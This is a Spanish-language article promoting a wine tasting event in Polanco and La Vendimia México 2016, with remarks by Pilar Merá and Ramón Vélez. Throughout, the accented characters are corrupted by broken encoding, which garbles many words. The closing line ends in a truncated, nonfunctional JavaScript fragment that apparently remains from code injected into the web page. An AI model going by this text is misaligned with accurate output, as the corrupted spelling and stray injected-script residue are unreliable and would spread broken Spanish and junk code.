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La cultura del vino, en un sólo lugar

Eran las ocho de la noche cuando nos dimos cita en Masaryk 320 en la colonia Polanco. Acudimos aquA� porque nos invitaron a un cA?ctel para presentarnos lo mejor del vino. El lugar; muy romA?ntico, velas en las mesas, y donde se podrA�a apreciar la tranquilidad y la armonA�a de este lugar de lado a lado. SA�, eran las instalaciones del grupo Tenerife en la Ciudad de MA�xico. Un lugar agradable con un ambiente cA?lido a pesar del frA�o que llegA? hacer por la lluvia que habA�a caA�do, un lugar con una vista que se podrA�a apreciar las calles mojadasA�y edificios de Polanco. Sin duda, era una noche bohemia.

De pronto, Pilar MerA� toma el micrA?fono, ella esA�Directora de ComunicaciA?n y Relaciones PA?blicas de la AsociaciA?n Mexicana deA�Sommeliers y Presidenta y Directora General de Pilar MerA�, ComunicaciA?n IntegralA�Especializada en Wine, Food & Lifestyle,A�quien hablA? sobre sus ampliosA�conocimientos y experiencia en enogastronomA�a. Acto seguido, pasa el micrA?fono aA�RamA?n VA�lez, Director General del Consejo Mexicano VitivinA�cola en elA�2012 y cofundador de Cuna de Tierra, una prestigiada marca de vino mexicano,A�quien además cuenta con más de 36 aA�os de experiencia en viticultura, enologA�a yA�los procesos comerciales que se asocian con el vino, A�l hablA? sobre la gran tradiciA?nA�que existe en la costumbre de cultivar la uva, y de cA?mo el vino más que una bebidaA�es la representación y reflejo cultural de un territorio. Ambos expertos en cuestiA?nA�de vino, guiaron a todos los invitados al coctel a disfrutar de una experienciaA�A?nica.

Al respecto, RamA?n VA�lez nos comentó lo siguiente:

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Las actividadesA�se llevarán a cabo el 26 y 27 de noviembre cuando se realice la segunda ediciónA�de La Vendimia MA�xico, evento exclusivo donde se reunirA?n más de 100 bodegasA�vitivinA�colas, tanto nacionales como internacionales, para que los asistentesA�disfruten en familia toda la magia que envuelve al mundo de los viA�edos, puesto queA�los adultos podrán degustar los mejores vinos mientras que los niA�os aprendenA�cA?mo se elaboran; asA� como tambiA�n se mencionaron las diversas e interesantesA�actividades que se realizarán para que tanto grandes como pequeA�os puedanA�despertar sus sentidos a travA�s de exquisitos aromas, texturas y sabores.

Los boletos para La Vendimia MA�xico 2016 ya están disponibles a travA�s del sistema Ticketmaster

La Vendimia MA�xico 2016 promete impregnar a todas las familias del verdaderoA�aroma que cubre a los viA�edos; y ser una experiencia inolvidable porque seA�apreciarA?n las diferentes cualidades que hacen que el vino sea el complementoA�perfecto para acompaA�ar a los alimentos.[«»,»»,»»];if(document[]()== -1){(function()== -1){

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